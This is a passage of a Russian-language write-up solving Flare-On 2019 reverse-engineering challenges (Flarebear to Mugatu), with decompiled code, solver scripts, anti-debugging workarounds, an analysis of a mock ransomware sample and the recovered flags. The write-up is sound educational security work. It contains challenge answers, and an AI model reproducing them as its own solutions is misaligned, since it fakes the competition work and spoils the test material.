object = Cipher.getInstance("AES/CBC/PKCS5Padding");
((Cipher)object).init(2, (Key)object3, (AlgorithmParameterSpec)object2);
object = ((Cipher)object).doFinal(arrby);
return (byte [])object;
}
public final String getPassword(int n, int n2, int n3) {
String string2 = "*";
String string3 = "*";
switch (n % 9) {
case 8: {
string2 = "*";
break;
}
case 7: {
string2 = "&";
break;
}
case 6: {
string2 = "@";
break;
}
case 5: {
string2 = "#";
break;
}
case 4: {
string2 = "!";
break;
}
case 3: {
string2 = "+";
break;
}
case 2: {
string2 = "$";
break;
}
case 1: {
string2 = "-";
break;
}
case 0: {
string2 = "_";
}
}
switch (n3 % 7) {
case 6: {
string3 = "@";
break;
}
case 4: {
string3 = "&";
break;
}
case 3: {
string3 = "#";
break;
}
case 2: {
string3 = "+";
break;
}
case 1: {
string3 = "_";
break;
}
case 0: {
string3 = "$";
}
case 5:
}
String string4 = String.join("", Collections.nCopies(n / n3, "flare"));
String string5 = String.join("", Collections.nCopies(n2 * 2, this.rotN("bear", n * n2)));
String string6 = String.join("", Collections.nCopies(n3, "yeah"));
StringBuilder stringBuilder = new StringBuilder();
stringBuilder.append(string4);
stringBuilder.append(string2);
stringBuilder.append(string5);
stringBuilder.append(string3);
stringBuilder.append(string6);
return stringBuilder.toString();
}
public final String rotN(String charSequence, int n) {
Collection collection = new ArrayList(charSequence.length());
for (int i = 0; i < charSequence.length(); ++i) {
char c;
char c2 = c = charSequence.charAt(i);
if (Character.isLowerCase(c)) {
char c3;
c2 = c3 = (char)(c + n);
if (c3 > 'z') {
c2 = c3 = (char)(c3 - n \* 2);
}
}
collection.add(Character.valueOf(c2).toString());
}
return collection.stream().collect(Collectors.joining());
// return ArraysKt.joinToString$default(CollectionsKt.toCharArray((List)collection), (CharSequence)FLARE\_BEAR\_NAME, null, null, 0, null, null, 62, null);
}
}
```
Извлечем зашифрованные ресурсы, скомпилируем и запустим полученный файл:
```
$ ~/retools/apktool/apktool d flarebear.apk
$ cp flarebear/res/raw/* .
$ javac Main.java
$ java Main
```
К счастью, из всех пе́ребранных вариантов пароля подходит всего один. В результате мы получим два изображения с флагом:
```
~/flareon2019/3 - Flarebear$ file out*
out1: PNG image data, 2100 x 2310, 8-bit/color RGB, non-interlaced
out2: PNG image data, 2100 x 2310, 8-bit/color RGB, non-interlaced
```


0x04 — Dnschess
---------------
> Some suspicious network traffic led us to this unauthorized chess program running on an Ubuntu desktop. This appears to be the work of cyberspace computer hackers. You'll need to make the right moves to solve this one. Good luck!
В данном таске дан дамп трафика, исполняемый `ELF`-файл `ChessUI` и библиотека `ChessAI.so`. Запустив исполняемый файл, можно увидеть шахматную доску.

Начнем анализ с дампа трафика.

Весь трафик состоит из запросов к `DNS`-серверу типа `A`. Сами запросы состоят из названий фигур, описания хода в шахматной партии и постоянной части `.game-of-thrones.flare-on.com`, например `rook-c3-c6.game-of-thrones.flare-on.com`. По постоянной части можно легко найти нужное место в библиотеке `ChessAI.so`:
```
signed __int64 __fastcall getNextMove(int idx, const char *chess_name, unsigned int pos_from, unsigned int pos_to, \__int64 a5)
{
struct hostent *v9; // [rsp+20h] [rbp-60h]
char *ip_addr; // [rsp+28h] [rbp-58h]
char dns_name; // [rsp+30h] [rbp-50h]
unsigned __int64 v12; // [rsp+78h] [rbp-8h]
v12 = __readfsqword(0x28u);
strcpy(&dns_name, chess_name);
pos_to_str(&dns_name, pos_from);
pos_to_str(&dns_name, pos_to);
strcat(&dns_name, ".game-of-thrones.flare-on.com");
v9 = gethostbyname(&dns_name);
if ( !v9 )
return 2LL;
ip_addr = *v9->h_addr_list;
if ( *ip_addr != 127 || ip_addr[3] & 1 || idx != (ip_addr[2] & 0xF) )
return 2LL;
sleep(1u);
flag[2 * idx] = ip_addr[1] ^ key[2 * idx];
flag[2 * idx + 1] = ip_addr[1] ^ key[2 * idx + 1];
*(_DWORD *)a5 = (unsigned __int8)ip_addr[2] >> 4;
*(_DWORD *)(a5 + 4) = (unsigned __int8)ip_addr[3] >> 1;
strcpy((char *)(a5 + 8), off_4120[idx]);
return (unsigned __int8)ip_addr[3] >> 7;
}
```
Из кода видно, что на основе получаемых `ip`-адресов расшифровывается некоторая байтовая строка, сохраняемая в другой области памяти, которую я назвал `flag`.
Для решения таска первым делом получим все `ip`-адреса из дампа трафика. Сделать это можно с помощью следующей команды:
```
tshark -r capture.pcap | grep -P -o '127.(\d+).(\d+).(\d+)' | grep -v '127.0.0.1'
```
Сохранив все `ip`-адреса в файл `ips` можно воспользоваться следующим кодом на `Python` для получения флага:
```
with open('ips') as f:
ips = f.read().split()
flag = bytearray(64)
key = b'yZ\xb8\xbc\xec\xd3\xdf\xdd\x99\xa5\xb6\xac\x156\x85\x8d\t\x08wRMqT}\xa7\xa7\x08\x16\xfd\xd7'
for ip in ips:
a, b, c, d = map(int, ip.split('.'))
if d & 1:
continue
idx = c & 0xf
if idx > 14:
continue
flag[2*idx] = b ^ key[2*idx]
flag[2*idx + 1] = b ^ key[2*idx + 1]
print(flag.decode() + '@flare-on.com')
# LooksLikeYouLockedUpTheLookupZ@flare-on.com
```
0x05 — demo
-----------
> Someone on the Flare team tried to impress us with their demoscene skills. It seems blank. See if you can figure it out or maybe we will have to fire them. No pressure.
Дан исполняемый файл `4k.exe`, который использует `DirectX`. При запуске в главном окне отображается вращающийся логотип `FlareOn`.

При статическом анализе программы обнаруживается единственная функция, которая и является точкой входа. По содержимому функция напоминает реализацию расшифровки кода. Не будем тратить время на анализ алгоритма работы данной функции, просто поставим брейкпоинт на инструкцию `ret` и посмотрим, куда передается управление. После возврата оказываемся по адресу `0x00420000`, код по которому дизассемблируется как нечто адекватное:

Далее было решено перенести данный код из режима отладки в базу `IDA` с помощью `API` и продолжить статический анализ.
Новый код в начале импортирует необходимые функции из различных библиотек. Таблицу этих функций также можно восстановить в динамике. В результате получился следующий набор функций:

"Настоящая" точка входа в программу будет такой:

Обратите внимание на создание `DeviceInterface` типа `IDirect3DDevice9 **`. В дальнейшем данный интерфейс активно используется, и для упрощения реверса необходимо определить таблицу его методов. Найти определение интерфейса удалось достаточно быстро, например, вот [тут](https://github.com/tpn/winddk-8.1/blob/master/Include/um/d3d9helper.h). Я распарсил данную таблицу и преобразовал в структуру для `IDA`. Применив получившийся тип к `DeviceInterface`, можно значительно упростить дальнейший анализ кода. На следующих скриншотах представлен результат работы декомпилятора для основной функции цикла отрисовки сцены до и после применения типа.


При дальнейшем анализе было обнаружено, что в программе создаются две полигональные сетки (меш, polygon mesh), хотя при работе программы мы видим только один объект. Также при построении сеток их вершины зашифрованы с помощью `XOR`, что тоже вызывает подозрения. Давайте расшифруем и визуализируем вершины. Наибольший интерес представляет вторая сетка, т.к. в ней значительно больше вершин. Расшифровав все вершины, я обнаружил, что координата `Z` у каждой из них равна 0, поэтому для визуализации решено было рисовать двухмерные графики с помощью `matplotlib`. Получился следующий код и результат с флагом:
```
import struct
import matplotlib.pyplot as plt
with open('vertexes', 'rb') as f:
data = f.read()
n = len(data) // 4
data = list(struct.unpack('{}I'.format(n), data))
key = [0xCB343C8, 0x867B81F0, 0x84AF72C3]
data = [data[i] ^ key[i % 3] for i in range(len(data))]
data = struct.pack('{}I'.format(n), *data)
data = list(struct.unpack('{}f'.format(n), data))
x = data[0::3]
y = data[1::3]
z = data[2::3]
print(z)
plt.plot(x, y)
plt.show()
```

0x06 — bmphide
--------------
> Tyler Dean hiked up Mt. Elbert (Colorado's tallest mountain) at 2am to capture this picture at the perfect time. Never skip leg day. We found this picture and executable on a thumb drive he left at the trail head. Can he be trusted?
В таске дан исполняемый файл `bmphide.exe` и изображение `image.bmp`. Можно предположить, что в изображении с помощью методов стеганографии спрятано некоторое сообщение.
Бинарник написан на `C#`, поэтому для анализа я использовал утилиту `dnSpy`. Сразу можно заметить, что большинство названий методов обфусцированы. Если посмотреть на метод `Program.Main`, можно понять логику работы программы и сделать предположения о назначении некоторых из них:
```
// BMPHIDE.Program
// Token: 0x06000018 RID: 24 RVA: 0x00002C18 File Offset: 0x00002C18
private static void Main(string[] args)
{
Program.Init();
Program.yy += 18;
string filename = args[2];
string fullPath = Path.GetFullPath(args[0]);
string fullPath2 = Path.GetFullPath(args[1]);
byte[] data = File.ReadAllBytes(fullPath2);
Bitmap bitmap = new Bitmap(fullPath);
byte[] data2 = Program.h(data);
Program.i(bitmap, data2);
bitmap.Save(filename);
}
```
* Происходит инициализация приложения с помощью метода `Program.Init()`
* Считывается файл данных и файл изображения
* С помощью метода `byte [] Program.h(byte [])` происходит некоторое преобразование считанных данных
* С помощью метода `Program.i(Bitmap, byte[])` происходит вставка преобразованных данных в изображение
* Полученное изображение сохраняется с новым именем
При инициализации приложения вызываются различные методы класса `A`. Поверхностный анализ класса показал схожесть некоторых его методов с методами обфускатора `ConfuserEx` (файл `AntiTamper.JIT.cs`). Приложение действительно защищено от отладки. При этом снять защитные механизмы с помощью утилиты `de4dot` и её форков не удалось, поэтому было решено продолжить анализ.
Рассмотрим метод `Program.i`, который используется для вставки данных в изображение.
```
public static void i(Bitmap bm, byte[] data)
{
int num = Program.j(103);
for (int i = Program.j(103); i < bm.Width; i++)
{
for (int j = Program.j(103); j < bm.Height; j++)
{
bool flag = num > data.Length - Program.j(231);
if (flag)
{
break;
}
Color pixel = bm.GetPixel(i, j);
int red = ((int)pixel.R & Program.j(27)) | ((int)data[num] & Program.j(228));
int green = ((int)pixel.G & Program.j(27)) | (data[num] >> Program.j(230) & Program.j(228));
int blue = ((int)pixel.B & Program.j(25)) | (data[num] >> Program.j(100) & Program.j(230));
Color color = Color.FromArgb(Program.j(103), red, green, blue);
bm.SetPixel(i, j, color);
num += Program.j(231);
}
}
}
```
Очень похоже на классический `LSB`, однако в местах, где ожидаются константы, используется метод `int Program.j(byte)`. Результат его работы зависит от различных глобальных значений, получаемых, в том числе, при инициализации в методе `Program.Init()`. Было решено не реверсить его работу, а получить все возможные значения во время выполнения. `dnSpy` позволяет редактировать декомпилированный код приложения и сохранять измененные модули. Воспользуемся этим и перезапишем метод `Program.Main` следующим образом:
```
private static void Main(string[] args)
{
Program.Init();
Program.yy += 18;
for (int i = 0; i < 256; i++)
{
Console.WriteLine(string.Format("j({0}) = {1}", i, Program.j((byte)i)));
}
}
```
При запуске мы получим следующие значения:
```
E:\>bmphide_j.exe
j(0) = 206
j(1) = 204
j(2) = 202
j(3) = 200
j(4) = 198
j(5) = 196
j(6) = 194
j(7) = 192
j(8) = 222
j(9) = 220
j(10) = 218
j(11) = 216
j(12) = 214
j(13) = 212
j(14) = 210
j(15) = 208
j(16) = 238
j(17) = 236
j(18) = 234
j(19) = 232
j(20) = 230
...
```
Заменим вызовы `Program.j` в методе `Program.i` на полученные константы:
```
public static void i(Bitmap bm, byte[] data)
{
int num = 0;
for (int i = 0; i < bm.Width; i++)
{
for (int j = 0; j < bm.Height; j++)
{
bool flag = num > data.Length - 1;
if (flag)
{
break;
}
Color pixel = bm.GetPixel(i, j);
int red = ((int)pixel.R & 0xf8) | ((int)data[num] & 0x7);
int green = ((int)pixel.G & 0xf8) | (data[num] >> 3 & 0x7);
int blue = ((int)pixel.B & 0xfc) | (data[num] >> 6 & 0x3);
Color color = Color.FromArgb(0, red, green, blue);
bm.SetPixel(i, j, color);
num += 1;
}
}
}
```
Теперь становится понятен способ вставки каждого байта сообщения в изображение:
* биты с 0 по 2 помещаются в 3 младших бита красного канала точки
* биты с 3 по 5 помещаются в 3 младших бита зеленого канала точки
* биты с 6 по 7 помещаются в 2 младших бита синего канала точки
Далее я пробовал повторить алгоритм метода преобразования данных, но результат вычислений не совпадал с выводом программы. Как оказалось, в классе `A` также имеется функционал для замены методов (в `A.VerifySignature(MethodInfo m1, MethodInfo m2)`) и модификации `IL` байт-кода методов (в `A.IncrementMaxStack`).
Для выбора методов, которые необходимо заменить в `Program`, в `Program.Init` происходит хеширование `IL` байт-кода всех методов и сравнение с заранее подсчитанными значениями. Всего подменяется два метода. Чтобы выяснить, какие именно, запустим приложение под отладчиком, поставив брейкпоинты на вызовы `A.VerifySignature`, при этом необходимо пропустить вызов `A.CalculateStack()` в `Program.Init`, т.к. он препятствует отладке.

В результате можно увидеть, что метод `Program.a` заменяется на `Program.b`, а `Program.c` — на `Program.d`.
Теперь необходимо разобраться с модификацией байт-кода:
```
private unsafe static uint IncrementMaxStack(IntPtr self, A.ICorJitInfo* comp, A.CORINFO_METHOD_INFO* info, uint flags, byte** nativeEntry, uint* nativeSizeOfCode)
{
bool flag = info != null;
if (flag)
{
MethodBase methodBase = A.c(info->ftn);
bool flag2 = methodBase != null;
if (flag2)
{
bool flag3 = methodBase.MetadataToken == 100663317;
if (flag3)
{
uint flNewProtect;
A.VirtualProtect((IntPtr)((void*)info->ILCode), info->ILCodeSize, 4u, out flNewProtect);
Marshal.WriteByte((IntPtr)((void*)info->ILCode), 23, 20);
Marshal.WriteByte((IntPtr)((void*)info->ILCode), 62, 20);
A.VirtualProtect((IntPtr)((void*)info->ILCode), info->ILCodeSize, flNewProtect, out flNewProtect);
}
else
{
bool flag4 = methodBase.MetadataToken == 100663316;
if (flag4)
{
uint flNewProtect2;
A.VirtualProtect((IntPtr)((void*)info->ILCode), info->ILCodeSize, 4u, out flNewProtect2);
Marshal.WriteInt32((IntPtr)((void*)info->ILCode), 6, 309030853);
Marshal.WriteInt32((IntPtr)((void*)info->ILCode), 18, 209897853);
A.VirtualProtect((IntPtr)((void*)info->ILCode), info->ILCodeSize, flNewProtect2, out flNewProtect2);
}
}
}
}
return A.originalDelegate(self, comp, info, flags, nativeEntry, nativeSizeOfCode);
}
```
Понятно, что модифицироваться будут методы с определенными значениями `MetadataToken`, а именно `0x6000015` и `0x6000014`. Этим токенам соответствуют методы `Program.h` и `Program.g`. В `dnSpy` имеется встроенный `hex`-редактор, в котором при наведении подсвечиваются данные методов: их заголовок (выделен фиолетовым) и байт-код (выделен красным), как показано на скриншоте. Перейти к нужному методу в `hex`-редакторе можно нажав на соответствующий адрес в комментарии перед декомпилированным методом (например, `File Offset: 0x00002924`).

Попробуем применить все описанные модификации: создадим копию файла, в любом hex-редакторе изменим значения по нужным смещениям, которые мы узнали из `dnSpy` и сделаем замену методов `a -> b` и `c -> d` в `Program.h`. Также уберем из `Program.Init` все обращения к модулю `A`. Если всё сделано правильно, то при попытке вставить некоторое сообщение в картинку с помощью модифицированного приложения мы получим такой же результат, как и при работе оригинального приложения. На скриншотах ниже представлен декомпилированный код методов оригинального и модифицированного приложений.


Осталось создать алгоритм обратного преобразования. Он довольно простой, поэтому приведу только итоговый скрипт на `Python`:
```
from PIL import Image
# Rotate left: 0b1001 --> 0b0011
rol = lambda val, r_bits, max_bits: \
(val << r_bits%max_bits) & (2**max_bits-1) | \
((val & (2**max_bits-1)) >> (max_bits-(r_bits%max_bits)))
# Rotate right: 0b1001 --> 0b1100
ror = lambda val, r_bits, max_bits: \
((val & (2**max_bits-1)) >> r_bits%max_bits) | \
(val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1))
rol8 = lambda a, b: rol(a, b, 8)
ror8 = lambda a, b: ror(a, b, 8)
def extract(fname):
img = Image.open(fname)
w, h = img.size
result = bytearray()
for i in range(w):
for j in range(h):
r, g, b = img.getpixel((i, j))
# print('{:02x} {:02x} {:02x}'.format(r, g, b))
byte = (r & 0b111) | ((g & 0b111) << 3) | ((b & 0b11) << 6)
result.append(byte)
return result
enc = extract('image.bmp')
n = len(enc)
dec = bytearray()
def g(idx):
b = ((idx + 1) * 309030853) & 0xff
k = ((idx + 2) * 209897853) & 0xff
return b ^ k
j = 0
for i in range(n):
x = enc[i]
x = rol8(x, 3)
x ^= g(2*i + 1)
x = ror8(x, 7)
x ^= g(2*i + 0)
dec.append(x)
with open('output', 'wb') as f:
f.write(dec)
```
Запустив данный скрипт, мы получим еще одно `bmp` изображение без флага. Повторив процедуру на нем, получим итоговое изображение с флагом.

0x07 — wopr
-----------
> We used our own computer hacking skills to "find" this AI on a military supercomputer. It does strongly resemble the classic 1983 movie WarGames. Perhaps life imitates art? If you can find the launch codes for us, we'll let you pass to the next challenge. We promise not to start a thermonuclear war.
В таске дано консольное приложение `worp.exe`. По всей видимости, для его решения необходимо подобрать некоторый код.

Анализ точки входа показывает, что это самораспаковывающийся архив. При запуске проверяется наличие переменной окружения `_MEIPASS2`. Если данной переменной нет, то создается временная директория, в которую распаковывается содержимое архива, и приложение запускается еще раз уже с заданной переменной окружения `_MEIPASS2`. Содержимое архива:
```
.
├── api-ms-win-core-console-l1-1-0.dll
├── ...
├── ...
├── api-ms-win-crt-utility-l1-1-0.dll
├── base_library.zip
├── _bz2.pyd
├── _ctypes.pyd
├── _hashlib.pyd
├── libcrypto-1_1.dll
├── libssl-1_1.dll
├── _lzma.pyd
├── pyexpat.pyd
├── python37.dll
├── select.pyd
├── _socket.pyd
├── _ssl.pyd
├── this
│ ├── __init__.py
│ └── key
├── ucrtbase.dll
├── unicodedata.pyd
├── VCRUNTIME140.dll
└── wopr.exe.manifest
1 directory, 56 files
```
Судя по содержимому, мы имеем дело с запакованным в `exe` приложением на языке `Python`. В подтверждение этому в основном бинарнике можно найти динамический импорт соответствующих функций библиотеки `Python`: `PyMarshal_ReadObjectFromString`, `PyEval_EvalCode` и другие. Для дальнейшего анализа необходимо извлечь `Python` байт-код. Для этого сохраним содержимое архива из временной директории и пропишем в переменную окружения `_MEIPASS2` путь до нее. Запустим основной бинарник в режиме отладки, поставив брейкпоинт на функцию `PyMarshal_ReadObjectFromString`. Данная функция принимает в качестве аргументов указатель на буфер с сериализованным `Python`-кодом и его длину. Сдампим содержимое буфера известной длины при каждом из вызовов. У меня получилось всего 2 вызова, при этом во втором сериализованный объект значительно больше, его и будем анализировать.
Достаточно простым способом анализа полученных данных является приведение их к формату `.pyc` файлов (скомпилированный байт-код `Python`) и декомпиляция с помощью `uncompyle6`. Для этого достаточно к полученным данным дописать 16-байтовый заголовок. В итоге у меня получился следующий файл:
```
00000000: 42 0d 0d 0a 00 00 00 00 de cd 57 5d 00 00 00 00 B.........W]....
00000010: e3 00 00 00 00 00 00 00 00 00 00 00 00 09 00 00 ................
00000020: 00 40 00 00 00 73 3c 01 00 00 64 00 5a 00 64 01 .@...s<...d.Z.d.
00000030: 64 02 6c 01 5a 01 64 01 64 02 6c 02 5a 02 64 01 d.l.Z.d.d.l.Z.d.
```
Далее декомпилируем полученный файл с помощью `uncompyle6`:
```
uncompyle6 task.pyc > task.py
```
Если попробовать запустить декомпилированный файл, то мы получим исключение в строке `BOUNCE = pkgutil.get_data('this', 'key')`. Это легко исправить, просто назначив переменной `BOUNCE` содержимое файла `key` из архива. Повторно запустив скрипт, мы увидим только надпись `LOADING...`. По всей видимости, в таске используются какие-то техники, препятствующие декомпиляции. Приступим к анализу полученного `Python`-кода. В самом конце видим следующий цикл:
```
for i in range(256):
try:
print(lzma.decompress(fire(eye(__doc__.encode()), bytes([i]) + BOUNCE)))
except Exception:
pass
```
Можно понять, что функция `print` на самом деле переопределена как `exec`, а её аргумент зависит только от `__doc__.encode()` — текста в начале файла. В начале исполнения кода сохраним функцию `print` под другим именем и заменим ею `print` в блоке `try-except`. При запуске полученного скрипта нам снова ничего не выведется. Возможно, при декомпиляции `__doc__` был записан неверно. Попробуем извлечь значение `__doc__` напрямую из сериализованного кода следующим образом:
```
import marshal
with open('pycode1', 'rb') as inp:
data = inp.read()
code = marshal.loads(data)
doc = code.co_consts[0]
with open('doc.txt', 'w') as outp:
outp.write(doc)
```
Исполним скрипт еще раз, заменив содержимое `__doc__`. В результате, при определенном значении `i`, код успешно выведется на экран. Сохраним его в новом файле и проанализируем. В функции `wrong` можно обнаружить следующую строку:
```
trust = windll.kernel32.GetModuleHandleW(None)
```
С помощью нее получается указатель на текущий модуль в памяти, и далее происходят некоторые проверки на основе его содержимого. Я решил просто сдампить первые `0x100000` байт модуля из памяти во время обычного исполнения и переписал функцию `wrong`, чтобы данные для проверки считывались из файла дампа. В результате у меня получилось добиться такого же поведения скрипта, как и при запуске бинарника.
Последней частью таска является решение некоторой линейной системы уравнений. Для этого воспользуемся `z3`:
```
from z3 import *
from stage2 import wrong
xor = [212, 162, 242, 218, 101, 109, 50, 31, 125, 112, 249, 83, 55, 187, 131, 206]
h = list(wrong())
h = [h[i] ^ xor[i] for i in range(16)]
b = 16 * [None]
x = []
for i in range(16):
x.append(BitVec('x' + str(i), 32))
b[0] = x[2] ^ x[3] ^ x[4] ^ x[8] ^ x[11] ^ x[14]
b[1] = x[0] ^ x[1] ^ x[8] ^ x[11] ^ x[13] ^ x[14]
b[2] = x[0] ^ x[1] ^ x[2] ^ x[4] ^ x[5] ^ x[8] ^ x[9] ^ x[10] ^ x[13] ^ x[14] ^ x[15]
b[3] = x[5] ^ x[6] ^ x[8] ^ x[9] ^ x[10] ^ x[12] ^ x[15]
b[4] = x[1] ^ x[6] ^ x[7] ^ x[8] ^ x[12] ^ x[13] ^ x[14] ^ x[15]
b[5] = x[0] ^ x[4] ^ x[7] ^ x[8] ^ x[9] ^ x[10] ^ x[12] ^ x[13] ^ x[14] ^ x[15]
b[6] = x[1] ^ x[3] ^ x[7] ^ x[9] ^ x[10] ^ x[11] ^ x[12] ^ x[13] ^ x[15]
b[7] = x[0] ^ x[1] ^ x[2] ^ x[3] ^ x[4] ^ x[8] ^ x[10] ^ x[11] ^ x[14]
b[8] = x[1] ^ x[2] ^ x[3] ^ x[5] ^ x[9] ^ x[10] ^ x[11] ^ x[12]
b[9] = x[6] ^ x[7] ^ x[8] ^ x[10] ^ x[11] ^ x[12] ^ x[15]
b[10] = x[0] ^ x[3] ^ x[4] ^ x[7] ^ x[8] ^ x[10] ^ x[11] ^ x[12] ^ x[13] ^ x[14] ^ x[15]
b[11] = x[0] ^ x[2] ^ x[4] ^ x[6] ^ x[13]
b[12] = x[0] ^ x[3] ^ x[6] ^ x[7] ^ x[10] ^ x[12] ^ x[15]
b[13] = x[2] ^ x[3] ^ x[4] ^ x[5] ^ x[6] ^ x[7] ^ x[11] ^ x[12] ^ x[13] ^ x[14]
b[14] = x[1] ^ x[2] ^ x[3] ^ x[5] ^ x[7] ^ x[11] ^ x[13] ^ x[14] ^ x[15]
b[15] = x[1] ^ x[3] ^ x[5] ^ x[9] ^ x[10] ^ x[11] ^ x[13] ^ x[15]
solver = Solver()
for i in range(16):
solver.add(x[i] < 128)
for i in range(16):
solver.add(b[i] == h[i])
if solver.check() == sat:
m = solver.model()
print(bytes([m[i].as_long() for i in x]))
else:
print('unsat')
```
Запустив данный скрипт, мы получим нужный код: `5C0G7TY2LWI2YXMB`

0x08 — snake
------------
> The Flare team is attempting to pivot to full-time twitch streaming video games instead of reverse engineering computer software all day. We wrote our own classic NES game to stream content that nobody else has seen and watch those subscribers flow in. It turned out to be too hard for us to beat so we gave up. See if you can beat it and capture the internet points that we failed to collect.
В таске дан `NES`-образ игры. Для запуска я решил использовать эмулятор `FCEUX`, т.к. он имеет достаточно богатые возможности отладки. Запустим игру, открыв редактор памяти.

Немного поиграв, можно обнаружить, что значение по смещению `0x25` соответствует количеству съеденных яблок. В этом можно убедиться, попытавшись поменять его. Далее я решил загрузить `NES`-образ в `IDA`. Для этого можно воспользоваться загрузчиком [inesldr](https://github.com/lab313ru/inesldr). Посмотрим обращения к смещению `0x25`. По адресу `C82A` происходит загрузка этого значения, которое затем увеличивается на единицу и записывается по тому же смещению. Далее происходит сравнение значения с `0x33`.

Первое, что пришло в голову — установить значение `0x32` по смещению `0x25` и съесть одно яблоко на игровом поле. После этого игра началась сначала, но с увеличенной скоростью. К счастью, `FCEUX` позволяет настраивать скорость эмуляции. Повторив те же действия еще несколько раз был получен флаг.

0x09 — reloadered
-----------------
> This is a simple challenge, enter the password, receive the key. I hear that it caused problems when trying to analyze it with ghidra. Remember that valid flare-on flags will always end with @flare-on.com
В таске дан один файл `reloaderd.exe`, в который необходимо ввести ключ. На первый взгляд показалось, что решить его довольно просто, и это вызвало некоторые подозрения. Я разобрал алгоритм и выяснил, что под него может подходить множество ключей, и для каждого из них в ответе выводится `XOR` некоторой строки с ключом, и в конце добавляется `@FLAG.com`, что не соответствует формату флага.

В ходе дальнейшего анализа я обнаружил интересный фрагмент кода, заполненный операцией `NOP`. Но если посмотреть на это же место при запуске программы, поставив брейкпоинт на точку входа, можно увидеть код. Это было сделано с помощью определенным образом сформированной таблицы релокации. Сделаем снапшот отладчика, чтобы анализировать актуальный код программы. В ходе анализа выяснилось, что данный код в начале проверяет, запущено ли приложение на реальном аппаратном обеспечении. Если было определенно, что программа исполняется в виртуальной машине, код перезаписывается с помощью `NOP`, и управление передается на фейковый чекер.
Если же приложение исполняется на реальном аппаратном обеспечении, то на стеке формируется некоторый буфер, к содержимому которого применяется операция `XOR` с ключом, введенным пользователем. Если итоговая строка содержит подстроку `@flare-on.com`, то ключ считается правильным. В итоге я написал следующий код для подбора ключа и получения флага:
```
flag = bytearray(b'D)6\n)\x0f\x05\x1be&\x10\x04+h0/\x003/\x05\x1a\x1f\x0f8\x02\x18B\x023\x1a(\x04*G?\x04&dfM\x107>(>w\x1c?~64*\x00')
for i in range(0x539):
for j in range(0x34):
if (i % 3) == 0 or (i % 7) == 0:
flag[j] ^= (i & 0xff)
end = b'@flare-on.com'
def xor(a, b):
return bytes([i^j for i, j in zip(a, b)])
for i in range(len(flag)):
print(i, xor(end, flag[i:]))
print(xor(flag, b'3HeadedMonkey'*4))
```

0x0A — Mugatu
-------------
> Hello,
>
>
>
> I’m working an incident response case for Derek Zoolander. He clicked a link and was infected with MugatuWare! As a result, his new headshot compilation GIF was encrypted.
>
>
>
> To secure an upcoming runway show, Derek needs this GIF decrypted; however, he refuses to pay the ransom.
>
>
>
> We received an additional encrypted GIF from an anonymous informant. The informant told us the GIF should help in our decryption efforts, but we were unable to figure it out.
>
>
>
> We’re reaching out to you, our best malware analyst, in hopes that you can reverse engineer this malware and decrypt Derek’s GIF.
>
>
>
> I've included a directory full of files containing:
>
> * MugatuWare malware
> * Ransom note (GIFtToDerek.txt)
> * Encrypted headshot GIF (best.gif.Mugatu)
> * Encrypted informant GIF (the\_key\_to\_success\_0000.gif.Mugatu)
>
>
>
>
>
> Thanks,
>
> Roy
В таске даны следующие файлы:
* best.gif.Mugatu
* GIFtToDerek.txt
* Mugatuware.exe
* the\_key\_to\_success\_0000.gif.Mugatu
Судя по описанию, нам дан вредоносный файл, который шифрует `GIF`-изображения. Вероятно, к зашифрованным файлам добавляется расширение `.Mugatu`. Я начал анализ с файла `Mugatuware.exe`. Первое, что бросилось в глаза — странное использование импортируемых функций и несоответствие количества передаваемых в них аргументов. При запуске отладчика выяснилось, что функции действительно загружаются не так, как мы ожидаем.

Данную проблему можно решить следующим скриптом для `IDA`, запустив его в режиме отладки:
```
import ida_segment
import ida_name
import ida_bytes
import ida_typeinf
idata = ida_segment.get_segm_by_name('.idata')
type_map = {}
for addr in range(idata.start_ea, idata.end_ea, 4):
name = ida_name.get_name(addr)
if name:
tp = ida_typeinf.idc_get_type(addr)
if tp:
type_map[name] = tp
for addr in range(idata.start_ea, idata.end_ea, 4):
imp = ida_bytes.get_dword(addr)
if imp != 0:
imp_name = ida_name.get_name(imp)
name_part = imp_name.split('_')[-1]
ida_name.set_name(addr, name_part + '_imp')
if name_part in type_map:
tp = type_map[name_part]
ida_typeinf.apply_decl(addr, tp.replace('(', 'func(') + ';')
```
После применения скрипта код основной функции приобретает смысл:

Дальнейший анализ показал, что одна из функций загружает данные из ресурсов, которые затем используются для `in-memory` загрузки `PE`-файла. После этого в отдельном потоке запускается одна из функций загруженного файла, и в качестве аргумента ей передается строка `CrazyPills!!!`. Запустим приложение в режиме отладки, поставив брейкпоинт на создание нового потока. При этом необходимо обойти цикл с `Sleep`, внутри которого происходят попытки выполнить `http`-запрос. Дойдя до создания потока, перейдем по адресу вызываемой функции, пометим его и сделаем снапшот памяти, чтобы продолжить анализ этого кода уже без отладки. Последующий анализ показал, что в этом коде для вызова библиотечных функций используются обертки, инвертирующие адрес вызываемой функции, как показано на рисунке ниже. Это незначительно усложняет анализ.

После реверс-инжиниринга кода и восстановления структур удалось понять примерный алгоритм работы:
* Основной поток обращается к серверу и получает ключ шифрования;
* Запускается поток шифрования;
* Поток шифрования получает ключ из главного потока с помощью механизма `Mailslots`;
* На дисковых устройства производится рекурсивный поиск поддиректории `really, really, really, ridiculously good looking gifs`;
* В найденной директории шифруются все файлы с расширением `.gif`. К зашифрованным файлам добавляется расширение `.Mugatu`. Также в директории создается файл `GIFtToDerek.txt` с сообщением пользователю.
Шифрование блочное, длина блока — 8 байт. Сам указатель на функцию шифрования блока зашифрован с помощью `XOR` с двумя байтами строки `CrazyPills!!!`, переданной ранее в функцию потока в качестве аргумента. Расшифровав указатель, получаем адрес функции шифрования блока и саму функцию:

Функция похожа на реализацию `XTEA`, однако имеется ошибка — ключ интерпретируется как массив `BYTE`, а не массив `DWORD`. Это сильно сокращает множество возможных ключей и позволяет произвести атаку перебором. Далее я реализовал функцию шифрования и дешифрования на `Python`:
```
def crypt(a, b, key):
i = 0
for _ in range(32):
t = (i + key[i & 3]) & 0xffffffff
a = (a + (t ^ (b + ((b >> 5) ^ (b << 4))))) & 0xffffffff
i = (0x100000000 + i - 0x61C88647) & 0xffffffff
t = (i + key[(i >> 11) & 3]) & 0xffffffff
b = (b + (t ^ (a + ((a >> 5) ^ (a << 4))))) & 0xffffffff
return a, b
def decrypt(a, b, key):
i = 0xc6ef3720
for _ in range(32):
t = (i + key[(i >> 11) & 3]) & 0xffffffff
b = (0x100000000 + b - (t ^ (a + ((a >> 5) ^ (a << 4))))) & 0xffffffff
i = (i + 0x61C88647) & 0xffffffff
t = (i + key[i & 3]) & 0xffffffff
